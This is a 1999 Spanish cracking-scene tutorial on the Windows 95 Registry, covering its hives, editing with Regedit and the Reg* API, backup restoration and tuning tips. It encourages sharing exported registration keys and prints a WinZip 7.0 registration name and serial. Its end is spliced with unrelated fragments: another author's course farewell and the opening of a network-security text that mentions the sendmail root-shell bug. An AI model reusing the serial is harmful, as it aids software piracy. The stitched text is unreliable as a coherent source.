nAkArKo_-=-_ ,;;;;;;;;;;, karlitoxZ '99 ... aL TaJo! El Registro de M$-Windown95 ... Saludos peñita! Aquí estoy otra vez después de unas largas y merecidas vacaciones... voy a hacer un ligero paréntesis y en este manual no voy a explicaros ningún crack, otra vez será amiguetes... En esta ocasión voy a tratar de explicaros tooodito sobre una de las "armas" para cracking que el patético Windown pone a nuestro servicio, el Registro. El principal motivo por el que escribo este texto es superar la vagancia en la que estoy sumido, hace tiempo que no me trago un mísero manual, pues bueno aprovecho mis indagaciones en este temita y para hacerme más amena la lectura os sirvo este texto, a ver si os vale de algo... Este manual no está dirigido esencialmente al cracking, es más bien una *.HLP de esos que M$ nos regala que puede ser interesante tanto para un usuario cualquiera como para los programadores de aplicaciones para su pseudo-SO.

¿? Loading Data...Qué es el Registro de Windown El registro es una base de datos definida por el sistema que tanto w95 como las aplicaciones que sobre él funcionan utilizan para guardar y obtener información sobre determinadas configuraciones, en él podemos encontrar desde las extensiones asociadas a cada programa, el lugar donde están determinadas dlls, el contenido de menús desplegables, los drivers necesarios para nuestro hard... hasta las últimas urls que hemos visitado. Casi un 100% de lo que en nuestro PC ocurre está grabado en el registro, poco escapa de sus garras... La información que se guarda en nuestro registro es información en binario, esta información varia dependiendo de la versión de windown en uso y del hard/software que tengamos instalado. Para manipular la información del registro podemos hacerlo manualmente usando algún proggie que nos lo permita o utilizando las funciones del registro (para programadores), este tema lo tocaremos más adelante. El registro está dentro de dos archivos, system.dat y user.dat que suelen ser de tamaño aberrante (+2megas). El registro es accesible y modificable gracias (entre otros) al REGEDIT.EXE uno de los muchos programas "escondidos" en el directorio Windows.

¿? Estructura del registro. El registro almacena datos en forma de árbol jerarquizado, cada rama del árbol es llamada "Key" , cada "Key" puede contener "SubKeys" y entradas de datos llamadas "Values" . Para haceros una idea de cómo es esto imaginaros "Key" como un directorio donde hay subdirectorios "Subkey" y ficheros con datos "Values". Muchas veces la presencia de una "Key" es lo único que necesita un programa para funcionar, otras veces nos encontramos con uno o varios "Subkeys" y/o "Values" dentro de una "Key", una "Key " puede tener tantos "S" y "V" como necesite y los "Values" pueden estar en cualquier formato.

Cada "Key" tiene un nombre que consiste en 1 o más caracteres imprimibles en formato ANSI, esto es, caracteres con valores de rango 32-127, estos nombres no pueden empezar por "\" (backslash o antibarra) ni por " * ó ¿". Las "Key" que comienzan por un punto ( . ) están reservadas. Cada "Subkey" sólo está definida en la "Key" inmediatamente superior al nivel donde la "Subkey" se aloja, de esto sacamos dos cosas, dentro de diferentes "Key" podemos tener "Subkeys" de nombre idéntico y además estas "Subkeys" no tienen por qué tener nada que ver, cada rama del registro es independiente de las demás a no ser que dentro de la rama se explique la relación existente entre las dos.

¿? Ramas del Registro Antes de escribir un dato en el registro una aplicación debe abrir una "Key", para abrir una nueva "Key" la aplicación en cuestión debe apoyarse en otra "Key" ya abierta, el sistema proporciona varias "Keys" que siempre se mantienen abiertas como soporte para las nuevas "Keys", las apliaciones usan estas "Keys" standard como "entrada" al registro. Vamos a ver qué es lo que tienen cada una de estas "Keys", he tratado de seguir el orden tal cual aparece al abrir el Regedit y he omitido partes "engorrosas" para hacer más fácil de seguir este papiro y espero que así sea porque esto es un tocho del horror... Al abrir nuestro registro con el Regedit.exe u otro programa que nos permita esto nos encontramos con: HKEY_CLASSES_ROOT:

aquí tenemos registradas todas las extensiones, tipos de

archivo.

HKEY_CURRENT_USER: detallado

de las configuraciones del usuario actual.

HKEY_LOCAL_MACHINE: Configuraciones de nuestro PC tales como dónde está nuestro software y dónde los drivers instalados. HKEY_USERS: las configuraciones de los usuarios de ese PC (urls visitadas, aplicaciones favoritas...). HKEY_CURRENT_CONFIG: una especie de especificación de LOCAL_MACHINE, más detalles de la configuración actual. HKEY_DYNAMIC_DATA: la información "dinámica", se "forma" al encender el ordenador y desaparece al apagarlo. Podemos considerar lo anterior como grandes árboles, al abrir cualquiera de las anteriores ramas nos encontramos montones de hojas llenas de información, a continuación un detallado de cada una de estas ramas...

¿? HKEY_CLASSES_ROOT

(HKCR)

En el GUI "graphic user interface" de windown todo (cada archivo, directorio, disco, etc. ) es considerado como un objeto, cada objeto tiene asociadas unas propiedades, esta rama ("Key") del registro contiene un listado de los objetos y de sus propiedades, por ejemplo *.mid, todos sabemos que son archivos de sonido, pues al abrir HKCR y la "Subkey" .mid veríamos lo siguiente:

Nombre:

Datos:

(predeterminado) "midfile" Content Type "audio/mid" Pues tenemos un objeto "midfile" con propiedades "audio/mid", es decir, midfile está asociado a audio/mid, un cambio de este "Value" nos dejaría sin poder escuchar la macarena en los bonitos scripts de mIRC... vale la pena cambiarla? ;P

Las principales funciones de estas claves

son:

1º Asociar la extensión de un archivo a un tipo de objeto. 2º Asociar un icono a un tipo de objeto. 3º Asociar una serie de acciones de la línea de comandos a un tipo de objeto. 4º Asociar las opciones de los menús contextuales (desplegables) a un tipo de objeto. 5º Definir lo que aparecerá en la ventana de propiedades (right-clickàpropiedades) para cada tipo de objeto. Como habréis deducido cambiando un "Value" podemos asociar un tipo de archivo a un determinado programa, cambiar el icono de un tipo de archivo, añadir o quitar nuevos tipos de archivos, etc. Etc. Dentro de KCR distinguimos tres tipos de "Subkeys": a) Extensiones de archivos, asocian las extensiones con los tipos de objeto. Más clarito, estas "Subkeys" se ocupan de decir qué hace windown con cada tipo de archivo (archivos que llevan asociadas determinadas acciones), qué menús despliega al hacer right-click sobre él y las propiedades que se muestran al acceder a este menú. Son de este tipo "Subkeys" como .arj, .com, .cab, etc. b) Tipo de objeto, define un objeto en función de sus menús desplegables, sus propiedades, su icono y sus enlaces CLSID (tratado a continuación).

c) CLSID, nos da información OLE (object linking and enbedding, una aplicación es llamada por otra automáticamente para editar datos) y DDE ( dynamic data exchange, intercambio de datos entre dos aplicaciones) sobre tipos de objeto, también puede contener información sobre los menús contextuales, propiedades e icono. Es importante saber que cada "Subkey" CLSID es única o al menos eso aseguran desde M$ donde se curraron un programilla sólo para este temita (generador de claves de 32 dígitos en hexa...). Es una clave bastante importante en el cracking puesto que gracias a ella podremos conocer métodos de direccionamiento de memoria y enlaces a dll´s con funciones OLE ( GetDlgItem,lstrcmp.....). Al abrir el registro con nuestro regedit.exe y echar un vistazo a KCR nos encontramos que dentro de muchas de las "Subkeys" hay otras "Subkeys" tales como: a) Shell: determina acciones tales como abrir, imprimir, copiar, etc. Por ejemplo una "Subkey" de este tipo determina que reproductor multimedia abre nuestros archivos *.mid. La rama para abrir y ejecutar estos archivos sería: [HKEY_CLASSES_ROOT\midfile\shell] @="Play" [HKEY_CLASSES_ROOT\midfile\shell\open] @="Abrir" [HKEY_CLASSES_ROOT\midfile\shell\open\command] @="C:\\WINDOWS\\rundll32.exe C:\\WINDOWS\\SYSTEM\\amovie.ocx,RunDll /open %1" [HKEY_CLASSES_ROOT\midfile\shell\play] @="Reproducir" [HKEY_CLASSES_ROOT\midfile\shell\play\command] @="C:\\WINDOWS\\rundll32.exe C:\\WINDOWS\\SYSTEM\\amovie.ocx,RunDll /play /close %1" b) Shellex: contienen "Subkeys" que determinan las funciones OLE y DDE para cada tipo de objeto, no son más que cadenas numéricas que apuntan por ejemplo a la dll que ejecuta una determinada operación y definen las propiedades de sus menús contextuales. c) Shellnew: contienen el valor de la cadena numérica del comando u orden que determina la apertura de un nuevo objeto. Un ejemplo muy sencillito es la clave *.BMP cuya shellnew nos indica el programa con que editaremos una nueva imagen de este tipo. d) Default Icon: contienen el valor de la cadena numérica que nos indica el icono por defecto de cada tipo de objeto, normalmente apuntarán al shell32.dll, pifmgrd.dll ( en \windows\system) o moricons.dll ( en \windows) tal que al primer icono de la lista le asigna el 0 al siguiente el uno y así sucesivamente de la siguiente manera:

C:\Windows\moricons.dll,0

¿? HKEY_CURRENT_USER

(HKCU)

Las "Subkeys" de esta "Key" contienen las configuraciones del actual usuario, en caso de ser una máquina con un único usuario esta clave es casi idéntica al .DEFAULT de HKEY_USERS. Lo que en ella tenemos es todas las preferencias que en algún momento hayamos puesto añadidas a todas las configuraciones por defecto. Contiene toda la información sobre el sistema que no tiene HKEY_LOCAL_MACHINE, esto es, configuraciones del software y preferencias del usuario. Es una parte del registro que podemos cambiar casi sin riesgo de causar un estropicio, casi todas las opciones contenidas en esta clave son modificables desde algún "peso pesado" del Windows, como el panel de control, la barra de tareas, cualquier menú de propiedades... Dentro de esta "Key" y con la vista puesta en el cracking la clave \Software es de los más jugosa, en ella encontramos desde números de serie hasta jodiendas que nos imposibilitan registrar la aplicación pero esto viene luego... ;P En esta "Key" nos encontramos con: a) \AppEvents: nos define los sonidos y otras mingadas ( masterCaR-d-19 feo ;P ) con las que windown nos aturde siempre que ejecutamos un programa, metemos la gamba y ezetera ezetera al cubo... EventLabels nos da el nombre de la mingada, Schemes\Apps la localización de las mingadas y Schemes\names pues el nombre del tema. b) \Control Panel: contiene las "Subkeys" que nos definen la apariencia de nuestro windown (el color de las ventanas, su tamaño, etc.), las opciones de accesibilidad como las soundsentry o las stickykeys, los cursores, el escritorio (fondo, tamaño de iconos,etc.). Estas opciones son totalmente configurables desde el panel de control. c) \InstallLocationsMRU: bastante clarito el nombre, estas "Subkeys" contienen la localización del software instalado, contiene por ejemplo todas las localizaciones de programas instalados con "Wizards" como InstallShield, etc. M.R.U. à Most-recently-used, self explanatory ;P d) \Keyboard Layout: como supongo habrás deducido pues contiene la definición de tu teclado, en función de país,etc. Y basándose en un método de numeración que todavía sólo está en conocimiento de sus creadores...pijadas... e) \Network: contiene tus conexiones de red anteriores divididas en dos clases: Persistent: define los dispositivos y unidades que defines al dejar marcada la opción de "reconectar al desconectar" (valga la redundancia...) las claves contienen información como tu navegador, tu nombre de usuario,etc. Estas claves aparecen como iconos en "Mi Pc". Recent: las últimas conexiones de red que has realizado sin la opción de reconectar chequeada, aparecen en menús desplegables cuando vas a realizar una conexión de red (Path).

f) \RemoteAccess: contiene las configuraciones de los marcadores de conexión en red, se divide en dos ramas: Addresses: contiene una definición en binario de cada conexión que tengas montada en "acceso telefónico a redes". Profile: que se divide a su vez en una rama para cada conexión, en estas ramas encontramos los valores de IP, dominio, nombre de usuario, etc. De cada conexión. g) \Software: todas las "Subkeys" que componen esta "Subkey" ( me estoy empezando a cansar de key subkey... ) representan software instalado en tu PC o software que has tenido instalado, las ramas tienen o bien el nombre del programa o bien el nombre del fabricante como distintivo, a veces podemos encontrar claves con el mismo nombre dentro de Local_Machine pero normalmente el contenido será distinto en cada caso. El contenido de las ramas que podemos encontrar suele ser muy parecido, preferencias del usuario, direcciones de archivos guardados y lo más interesante fechas de instalación, nombres de usuario/números de serie y claves que determinan si el programa está o no registrado, más adelante tocaremos un poco más este temita tan interesante.

¿? HKEY_LOCAL_MACHINE

(HKLM)

Las diferentes entradas de esta "Key" definen el estado físico de nuestro PC, incluyendo datos sobre el BUS, la memoria del sistema y las configuraciones de nuestro hardware y software (registrado / no registrado p.ej.). Contiene 7 "Subkeys" que son: a) \Config: en esta rama se guardan las configuraciones de tu hardware que defines a través del "Panel de Control" pulsando en el icono de "Sistema". La última configuración antes de apagar el PC se copia a HKCC al iniciar el equipo. b) \Enum: aquí es donde están guardadas la mayoría de las configuraciones de tu hardware, tales como los dispositivos PNP, la BIOS, PCI, ESDI, FLOP, ISAPNP, Monitor, SCSI y los dispositivos de conexión en red. c) \Hardware: está dividida en dos ramas: Description: que contiene la rama \System\Floating Point Processor, que será 0 o 1 dependiendo de su existencia.

Devicemap: que contiene la rama \serialcomm donde se listan tus puertos. d) \Network: contiene la rama \Logon que a su vez esta compuesto de los valores LMLogon (será 1 si la máquina está en ese momento conectada en red y 0 en caso contrario), logonvalidated (1 para estar validado), Policy Handler, Primary Provider , username, and UserProfiles. e) \Security: dentro de esta rama hay dos claves, un "Value"nada más abrir esta rama y que apunta a una clave remota donde estarán las opciones de seguridad de red como son por ejemplo los derechos de acceso. La "Subkey" \Provider contiene información del servidor. f) \Software: la mayoría de las "Subkeys" contenidas aquí nos dan información sobre la versión del programa, su licencia,etc. Pero también podemos encontrar otra información interesante como los drivers que se utilizan al conectarse en red, fuentes, las características de la emulación de MS/DOS, zona horaria, etc. g) \System: aquí nos encontramos con una rama de nombre \CurrentControlSet que se abre en \Control y \Services, cada una de estas ramas están llenas de ramitas, la mayoría son de explicación trivial, todo el mundo sabrá o se imaginará qué hace la rama ComputerName o Shutdown o KeyboardLayout, etc. Os puede dar problemas VMM32 que es una lista de los VxD que tenéis trabajando y poco más. Cuidado con tocar estas configuraciones que os puede dar algún disgusto.

¿? HKEY_USERS

(HKU)

Aquí se definen las configuraciones de cada usuario y las configuraciones que por defecto se le otorgan a los nuevos usuarios, \.Default y \nombredeusuario respectivamente. Las estructuras de cada una de estas "Subkeys" es semejante a HKCU, al efectuar el "login" se copiarán en HKCU las configuraciones contenidas en su \nombredeusuario.

¿? HKEY_CURRENT_CONFIG (HKCC) Los contenidos de esta "Key" se toman al iniciar el ordenata de las configuaciones alojadas en cada perfil de usuario en \Local_Machine\Config. Aquí nos encontramos con tres "Subkeys": a) \Display: dividido en \Font que contiene las cadenas de valores que determinan

las fuentes que pueden aparecer en la ventana principal y \Settings que contiene las cadenas de valores que determinan: BitsPerPixel, diferentes DPIs, oemfonts, fixedfon, fonts y Resolution. b) \Software: donde encontramos detalles de las configuraciones de internet como los proxys o el autodial. c) \System: que sólo contiene una rama \CurrentControlSet\control\Print\Printers donde tenemos información sobre las impresoras que tenemos definidas a través de InicioàConfiguraciónàImpresoras

¿? HKEY_DYN_DATA (HKDD) En esta "Key" tenemos la información de nuestro sistema detectada al iniciarlo, esta información como su nombre indica es dinámica y por lo tanto susceptible de cambiar en cualquier momento lo que hace que parezca que esta clave no se guarda. Dentro de HKDD nos topamos con: a) \ConfigManager: con una sola rama de nombre \Enum que se abre en un montón de ramitas numeradas que definen el estado, la localización, los problemas detectados y la clave del hardware de los dispositivos PNP detectados al iniciar el compiuter. b) \PerfStats: las estadísticas del funcionamiento actual del ordenata son guardadas en esta "Subkey" bajo apariencia de "Values" en binario, se dice que algunas de las ramas definen el sistema de archivos, o el "management" de la memoria pero no he encontrado nada claro en este tema, sólo conjeturas y "parecequeeeee..." lo que está claro es que estas claves se refieren al funcionamiento de nuestra amada computadora y que indagar en este tema no es de ninguna utilidad para nosotros, de todas formas como el saber no ocupa lugar agradecería info de este tema y lo incluiría al momento en este texto. c) \Security: con una sola rama de nombre \Provider donde encontramos un "espejo" de la rama HKLM\Security\Provider, mientras la primera va cambiando según cambien las propiedades de la red la segunda se mantiene estática. Ya tenemos definido el registro, lo siguiente que vamos a hacer es aprender a modificarlo,

porqueeee para qué nos sirve conocer cómo funciona algo si no podemos jugar con ello hasta estropearlo? ;P

¿? Restaurar el Registro. Como más vale prevenir que curar antes de enseñaros cómo urgar en el registro vamos a ver cómo podemos recuperar el registro por si las moscas se nos va la pinza y conseguimos que o bien nuestro windown no cargue o bien alguna aplicación parece ausente... Los pasos para recuperar el registro antiguo son los siguientes: 1 Haga clic en el botón "Inicio" y, después, en Apagar el sistema. 2 Haga clic en Reiniciar el equipo en modo MS-DOS y, después, haga clic en "Sí". 3 Cambie al directorio de Windows. Por ejemplo, si su directorio de Windows es C:\Windows, deberá escribir: cd c:\windows 4 Escriba los siguientes comandos y presione ENTRAR después de cada uno. (Observe que System.da0 y User.da0 contienen el número cero). attrib -h -r -s system.dat attrib -h -r -s system.da0 copy system.da0 system.dat attrib -h -r -s user.dat attrib -h -r -s user.da0 copy user.da0 user.dat 5 Reinicie su equipo. Con esto conseguiremos restaurar el último registro que cargó correctamente nuestra pcera.

¿? Almacenamiento de datos en el registro. No podemos guardar lo que gustemos en el registro, hay unos límites técnicos y físicos al tipo y tamaño de datos que una aplicación puede guardar en el registro, existen ciertas líneas maestras a

seguir para promover la eficiencia del sistema. Una aplicación puede almacenar información sobre configuraciones y de inicialización en el registro pero otros tipos de datos deben ser guardados en otro sitio. Generalmente los datos consistentes en más de 2KB deben guardarse como un archivo usando una "Key" que se refiera a la localización de estos datos, este mismo proceso debe seguirse para evitar duplicar grandes cantidades de datos en el registro. Nunca se debe guardar en el registro código binario ejecutable. Un "Value" ocupa mucho menos espacio que una "Key", por esto y para economizar espacio una aplicación puede agrupar datos de carácter similar y guardar la estructura como un "Value" mejor que guardarla en "Keys" separadas, si se usa este método es aconsejable pasar los datos a binario para evitar incompatibilidades. Además y para guardar un orden diferenciaremos, a la hora de meter un dato al registro, entre dos categorías de datos, información de la computadora e información del usuario, gracias a esta diferenciación una aplicación puede soportar múltiples usuarios, localizar información acerca de un usuario específico a través de una red y usar la información personalizada en distintas localizaciones permitiendo así que la localización del perfil de un usuario sea totalmente independiente. Por ejemplo cuando una aplicación es instalada puede guardar los datos referentes al ordenata bajo HKEY_LOCAL_MACHINE. Puede crear "Subkeys" para el nombre de la compañía, nombre del producto, versión, etc. : HKEY_LOCAL_MACHINE\Software\NakarkoSoft\Expediente\3.0

La apliación puede guardar la información referente al usuario bajo la "Key" HKEY_CURRENT_USER, como en el ejemplo siguiente: HKEY_CURRENT_USER\Software\NakarkoSoft\Expediente\3.0\User\karlitoxZ\

¿? Hands On ;P Modificando el registro manualmente. Esto es muy sencillito, tanto como cambiar de nombre a una carpeta mediante el "Explorador" o cambiar las propiedades de un archivo con el menú contextual. Como esto se hace más fácil de entender gráficamente os pongo un ejemplito pero antes de nada tened muy en cuenta qué es lo que váis a modificar, nunca modifiquéis algo que no sabéis para qué sirve o de lo contrario... las claves que menos peligro tienen son las claves que encontramos dentro de las "Subkeys" \Software por lo que ahí va un ejemplillo con una de ellas: [HKEY_CURRENT_USER\Software\NukeNabber 2.0\Options] {keys y Subkeys} "savewindowpos"="0" {values, 1=True 0=False} "runminimized"="1"

"usesystray"="1" "stayontop"="0" "killportscan"="1" "client"="1" "Services0"="mirc" "langdesc"="Spanish" "langnum"="4" En esta ramita nos encontramos con opciones del NukeNabber personalizables a través de sus menús, un 1 nos indica que la opción está "encendida" y un 0 pues lo contrario. Tenemos marcada la opción de "runminimized" con lo que el programa trabaja minimizado, tenéis aquí un ejemplo de "Value" en binario que inmediatamente vamos a cambiar para que el programa no curre minimizado. El tema sería de la siguiente manera: 1 Abrimos el Regedit.exe alojado en C:\Windows. 2 Click en HKCUà Software à NukeNabber2.0 à Options. 3 Doble-Click en el "Value" a cambiar, en este caso "runminimized". 4 Nos aparece una ventanita donde tenemos nombre de valor e información del valor, pulsamos en lo segundo e introducimos un 0 para anular esa opción y le damos al Enter. 5 Pulsamos F5 para actualizar el registro. Sencillo no? Pues a jugar un poquito... Cambiar de nombre a una "Subkey" es todavía más sencillo, idéntico proceso al de cambiar de nombre a una carpeta en el "Explorador". Se me había olvidado, también podemos modificar la información del registro a través de archivos *.reg, haciendo doble-click sobre ellos, dando al menú contextual y eligiendo "Combinar" o abriendo el Regedit.exe y pulsando en el menú "Registro" à "Importar archivo del registro" la información que el *.reg contiene se introducirá en nuestro registro.

¿? Cómo modificar el registro mediante una aplicación (para programadores). Antes de meter información al registro una aplicación debe abrir o crear una "Subkey" apoyándose en las "Keys" predefinidas, los proggies usan las funciones RegOpenKey o RegOpenKeyEx para abrir una "Key" o "Subkey" y las funciones RegCreateKey o RegCreateKeyEx para crear una "Subkey".

Una apliación puede usar la función RegCloseKey para cerrar una "Subkey" y escribir los datos en el registro, el proceso de escribir los datos puede no ser inmediato y los datos pueden estar en caché unos segundo antes de ser volcados al disco duro, para un volcado inmediato se usa la función RegFlushKey, lo malo es que esta función chupa muchos recursos y debe ser usada sólo en caso de que sea absolutamente necesario. Para escribir los datos de un "Value" dentro de una "Sub/Key" una aplicación puede usar las funciones RegSetValue o RegSetValueEx, la primera de las funciones sólo trabaja con cadenas ("Values" de tipo REG_SZ), la segunda por el contrario puede escribir "Values" con cualquier tipo de datos. Estas dos funciones pueden crear una "Subkey" y su o sus "Values" al mismo tiempo. Para borrar un "Value" de una "Sub/Key" usamos la función RegDeleteValue, para borrar una "Sub/Key" usamos la función RegDeleteKey, no se pueden introducir "Values" o "Subkeys" dentro de una "Key" borrada como es lógico... Para cambiar la información sobre la seguridad de una "Sub/Key" podemos usar la función RegSetKeySecurity.

¿? Obtener información del registro manualmente. Sencillito sencillito, basta con darse un rutecillo por el registro con el Regedit.exe y ver qué es lo que tenemos en cada rama, como darse una vueta por algún ftpwarez con el CuteFtp. Una buena cosa que nos permite el Regedit es "exportar archivo del registro" (menú registro), gracias a esta opción podemos coger cualquier rama de nuestro registro, pasarla a un archivo *.reg y compartir esta ramita con nuestros compis, esto de la exportación es muy interesante sobre todo si te das una vuelta por las "Subkeys" de Software y compartes tus registered con los demás, vamos a ver un ejemplito y así comparto algo con vosotros...que amar es compartir.... 1 Abrimos el Regedit.exe y nos colocamos en la rama del registro que queremos enficherar. 2 En el menú de Registro, Exportar archivo del Registro. 3 Se nos abre una ventanita de esas de Save As, en ella elegimos dónde y con qué nombre vamos a guardar nuestra ramita, además en la parte inferior de la ventana tenemos la opción "Rango de Exportación", si elegimos "Todo" haremos una copia de todo el registro, en cambio si elegimos rama seleccionada pues eso, copiamos sólo la rama que queremos copiar. 4 Ya está todo guardadito, ahora vamos a ver qué coño tiene el *.reg, estos archivos son modificables mediante cualquier editor de textos (notepad p.ej.). Aquí tenéis un ejemplo de lo que se ve al hacer esto, seguro que os sirve de algo ;P REGEDIT4

[HKEY_CURRENT_USER\Software\Nico Mak Computing\WinZip\WinIni] "win32_version"="7.0" "Name"="karlitoxZ (PNK)" "SN"="EA461EF8" Por si hay algún despistado esto es el registro del Winzip 7.0...

¿? Obtener información del registro mediante una aplicación (para programadores) Una aplicación para coger información del registro va recorriendo todas las "Subkeys" de una "Key" hasta que encuentra la que busca y recoge los datos del "Value" o de los "Values" asociados al primero. Una aplicación puede usar las funciones RegEnumKey o RegEnumKeyEx para enumerar las "Subkeys" de una "Key" determinada, la primera función nos devuelve sólo la "Subkey" mientras que la segunda nos devuelve también sus componentes. Para obtener datos concretos de una "Key" determinada recurrimos a la función RegQueryInfoKey. Con la función RegGetKeySecurity obtendremos una descripción de las características de seguridad de esa clave. La función RegEnumValue nos sirve para enumerar los "Values" de una "Key" dada y las funciones RegQueryValue y RegQueryValueEx nos darán el contenido del "Value" de una "Key" determinada.

es llamada para determinar los nombres de los "Values" y RegQueryValueEx para obtener los datos contenidos en los "Values" de nombre sacado con RegQueryValue. RegEnumValue

Cuando una aplicación guarda parte de la información del registro en un archivo separado de éste nos encontramos con el problema de cargar esta información desde el registro cuando sea necesario, para este proceso nos encontramos con RegSaveKey que nos permite guardar una "Key" con sus "Subkeys" y "Values" en un archivo *.reg y con las funciones RegLoadKey para pasar el contenido del archivo *.reg al registro (RegUnLoadKey nos sirve para devolver el registro al estado anterior al RegLoadKey), RegReplaceKey que modifica una rama del registro según defina el archivo *.reg y RegRestoreKey que devuelve a una rama del registro los valores que determina el fichero *.reg. Poca cosa más sobre este tema, para hacer esto más tragable he omitido las estructuras de cada una de

las funciones, si para alguien son de interés y no tiene posibilidad de obtenerlas que me emaile y se las envío ASAP.

¿? Algunos detallitos de windown modificables gracias al registro.. Aquí tenéis unos cuantos trukillos para que esto funcione mejor o debería decir que funcione menos mal? Y algunas tonterías que por lo menos a mi hacen que algunas cosas de w95 me molesten un poquito menos... 1- Mejor rendimiento del disco duro: esto arregla un BUG de la primera versión de w95, vamos a la clave HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Fstemplate s\Server, aparecen dos Values cuyos datos están al revés, debemos poner en NameCache 40 00 00 00 y en PathCache a9 0a 00 00, en versiones de w95 superiores a la OSR2 los valores están bien puestos, no hay que cambiarlos pero para que el tema funcione y nuestro HD vaya algo más rápido debemos por último ir a Panel de Control à Sistema à Rendimiento à Sistema de Archivos à Disco Duro y allí tenemos que poner función típica "Servidor de Red" y optimización avanzada "Completa". 2- Eliminar elementos del menú ejecutar: Ejecuta el Regedit y ve a la rama Mipc\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\R unMRU 3. Abre esta última carpeta y ya puedes eliminar los elementos que no quieras de la lista de la derecha. Aviso! no toques el primer elemento de la lista. Reinicia el equipo. 3- Refresco de ventanas automático: Ejecuta Regedit y ve a la rama HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Update, ahora pulsas el botón derecho y eliges Modificar, cambiar el valor 01 por el de 00 y reiniciar el equipo.

Ejecuta el regedit y acércate a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current\Version \Explorer\Desktop\Name\Space, borras lo que te sobre y reinicias. 4- Eliminar iconos "imposibles" de eliminar:

5- Quitar la animación de las ventanas: esto nos ahorrará un poquito de RAM, vamos a HKEY_CURRENT_USER\Control Panel\Desktop\WindowsMetrics. Creamos un nuevo "Value" de nombre MinAnimate, siendo su valor cero.

vamos a la rama HKEY_CURRENT_USER\Desktop, creamos un "Value" de nombre MenuShowDelay y le otorgamos un valor entre 0-10, un 7 es bastante bueno pero tu verás. 6- Aumentar la velocidad de los menús desplegables:

Y como estos nos podemos encontrar con 1000 trucos relacionados con el registro, con estos ya vale como ejemplito, yo me quedo con el del HD y la animación de las ventanas... AgRaDeCiMiEnToS y EtZs:

Este texto es un "remix" de un montón de libracos que he encontrado tirados por la red de redes y de articulillos sacados de mi colección de revistas, como está claro a estas alturas no voy a descubrir nada nuevo sobre este tema pues todo está dicho ya pero creo que era necesario un manual completo y en castellano con miras sobre todo a la ingeniería inversa y a la programación. Como nadie es perfecto seguro que en este texto por mucho que lo haya revisado habrá un montón de errores, os agradecería me los hicierais llegar vía email para poder corregirlos... Principalmente me he basado en la Win32 Programmer´s Reference y en el fantástico texto sobre este tema que leí en "MaMMon´S" del que no dudé en copiar cuando me quedé en blanco ;P http://www.cybercity.hko.net/SanFrancisco/mammon y que está sacado de "The W95Registry" de John Woram (copión que copia a copión tiene 100 años de perdón ;P) y en un montón de webs sobre windown95 donde la gente enseña lo poco que sabe y lo mucho que cree saber... Agradecimientos pues lo de siempre... A los miembros del proyekto como siempre su compañía y ayuda... Y esta vez y para variar pues a CaR19 sus clases "personalizadas" de hacking ;P y a +MaLaTTia toda la ayuda que en su momento me prestó en este largo camino de convertirme en +karlitoxZ ¡¡mile gracie bambino!! ;P +karlitoxZ Mail : [email protected] +karlitoxZ irc = IRChispano - EFNet -> KarlitoxZ +karlitoxZ web : http://pagina.de/proyektonakarko

6 -Recomendaciones Una buena recomendación sería que estudiaras lo básico más a fondo de ensamblador con 29A o Aesoft y/o La universidad de Guadalajara, también te recomendaría (si eres asiduo a algo de programación) a darle un buen vistazo a este curso de Pascal (también por la universidad de Guadalajara), ya que con estos cursos, vamos a tener aunque sea que aprender a programar (lo básico) en varios lenguajes. Y te recomiendo aprender a programar primero en este sencillo lenguaje de programación por Borland 7 -¿Dónde puedo encontrar más información acerca de la ingeniería inversa? Un muy buen lugar para encontrar mucha información es el sitio de FRAVIA, y dos sitios mu'buena onda son Crackstore.com (Por lo que me dijo el Webmaster de Crackstore, vuelve en septiembre con un servidor más rápido) y WkT!. 8 -Mis palabras finales Ojalá que este curso les haya sido de agrado, pues me averguenzo de los otros cursos que hice. Les mando saludos de mi parte a las siguientes personas :

WkT!, evangelion, Hot Byte, SYSmooh, +karlitoxZ, +ORC, +Fravia, tKC, DiabloDX, Soraya (Que mujer!!), Razzia, DMA-48, y sobre todo al todopoderoso gigantesco SIGRID (esperamos que algún día escribas un tutorial para senseñar todo lo que me has enseñado!). Sin mencionar a mi mejor amigo Enrique Palacios. y A J. Hernandez. (Esperamos tu página!), y a Saiya (Sigue jugando con tu PSI! vas bien!), Maureen, Anarquia, ¡ceMaN. En general dos cosas acerca de mí:

 Me gusta ayudar, pero no exagero.  Soy un puto loco traumado de la cabeza paranoico hasta los huesos. SE lo que piensas, así que mueve tu tras-0 y manda un mail con preguntas (solo para ayudar a la labor, no aceptaré hazme cracks ni tipos así) o con mis posibles errores, ya que cualquier cosa que no se entienda y me manden un mail, los ayudaré cambiando este curso y agregando temas .., si quieres ejercitar un ejemplo claro de la teoría de este curso es el programa Quick Install Maker 3.0 y puedes encontrarlo en http://www.marchale.com o el famoso Help Pad. Ejercita esto. Cualquier probleMilla visitA el hueco de Nuestra págInA Cool Por el web ubiCada en : http://kut.tsx.org, y si tienes suerte la verás (si es que estos putos gringos no me la quitan de nuevo por 9 vez!!). Por último, les regalo un truquillo que me regalo este chato mu'buena onda y que realmente admito que no sabía -En las propiedades del módem, en 'configuración del puerto',pon 'avanzadas', y en donde dice configuración extra agrega esto : 'S11=50' y quizás le darás un marcado 'UltraRápido' a tu acceso telefónico a redes. Maniac Pc [email protected] Kr@cKerZ United Team 99 [email protected]

El siguiente es un texto orientado a los administradores de red Agujeros de seguridad físicos Cuando el problema potencial, es debido al hecho de dar a personas, sin autorización, acceso físico a la máquina, siempre que esto les permita realizar cosas que no deberían ser capaces de hacer. Un buen ejemplo podría ser una sala pública, con estaciones de trabajo, donde sería facilísimo reinicializar una máquina en modo mono-usuario y trastear con los archivos de la estación de trabajo, si no se hubieran tomado precauciones. Otro ejemplo sería la necesidad de restringir el acceso a cintas backup confidenciales, que de otro modo podrían ser leídas por cualquier usuario que disponga de una unidad lectora, independientemente de que tenga o no permiso. Agujeros de Seguridad en el Software. Es cuando el problema está causado por una mala escritura de partes "privilegiadas" de software (daemons, cronjobs) que pueden estar comprometidos a realizar tareas que no deberían. El ejemplo mas famoso sería el bug del sendmail que podía permitir a un cracker pillar una shell root, pudiéndolo utilizar para borrar archivos, crear nuevas cuentas, copiar el fichero de passwords..... cualquier cosa. Nota: Contrariamente a lo que la gente piensa, los ataques vía sendmail no estaban sólo restringidos al infame "Gusano de Internet" (Internet Worm) - cualquier cracker podía hacer esto Telneteando al puerto 25 de la víctima. 